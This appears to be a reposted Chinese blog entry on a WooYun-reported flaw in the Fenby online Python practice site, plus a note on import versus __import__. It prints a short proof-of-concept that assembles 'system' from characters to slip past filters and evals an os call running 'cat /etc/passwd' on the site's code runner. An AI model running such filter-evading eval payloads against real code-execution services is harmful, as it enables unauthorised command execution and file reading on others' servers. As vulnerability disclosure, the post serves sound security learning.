Python 官方文档:入门教程 => 点击学习
今天在wooyun里看到一个有意思的漏洞。说它有意思,第一是思路很特别,当然也是因为安全做的很low,第二里面使用的python的poc有个小细节,特此分享一下。网站叫Fenby网,主要是为了Pythoner在线学习的,它有一个在线练习的功
今天在wooyun里看到一个有意思的漏洞。说它有意思,第一是思路很特别,当然也是因为安全做的很low,第二里面使用的python的poc有个小细节,特此分享一下。
网站叫Fenby网,主要是为了Pythoner在线学习的,它有一个在线练习的功能,可以输入代码,然后执行,测试运行结果。。。
于是楼主就注册了一个账号,URL:Http://www.fenby.com/course/units/xxxx
然后输入如下一段恶意代码:
import string
s = ["s","y","s","t","e","m"]
s = "".join(s)
cmd = "cat /etc/passwd"
code = "__import__('os')." + s + "('" + cmd + "')"
eval(code)
于是就这样了。。。
这里我想说两点,第一造成漏洞的原因是没有过滤eval,第二代码里使用的import和__import__的不同。
import其实是调用的__import__但是如果直接写成 code = "__import__('package.module')",它的意思就不是说:import package.module as package
When the name variable is of the fORM package.module
, normally, the top-level package (the name up till the first dot) is returned, not the module named by name.
--结束END--
本文标题: 有意思的python***案例
本文链接: https://www.lsjlt.com/news/191934.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-03-01
2024-03-01
2024-03-01
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0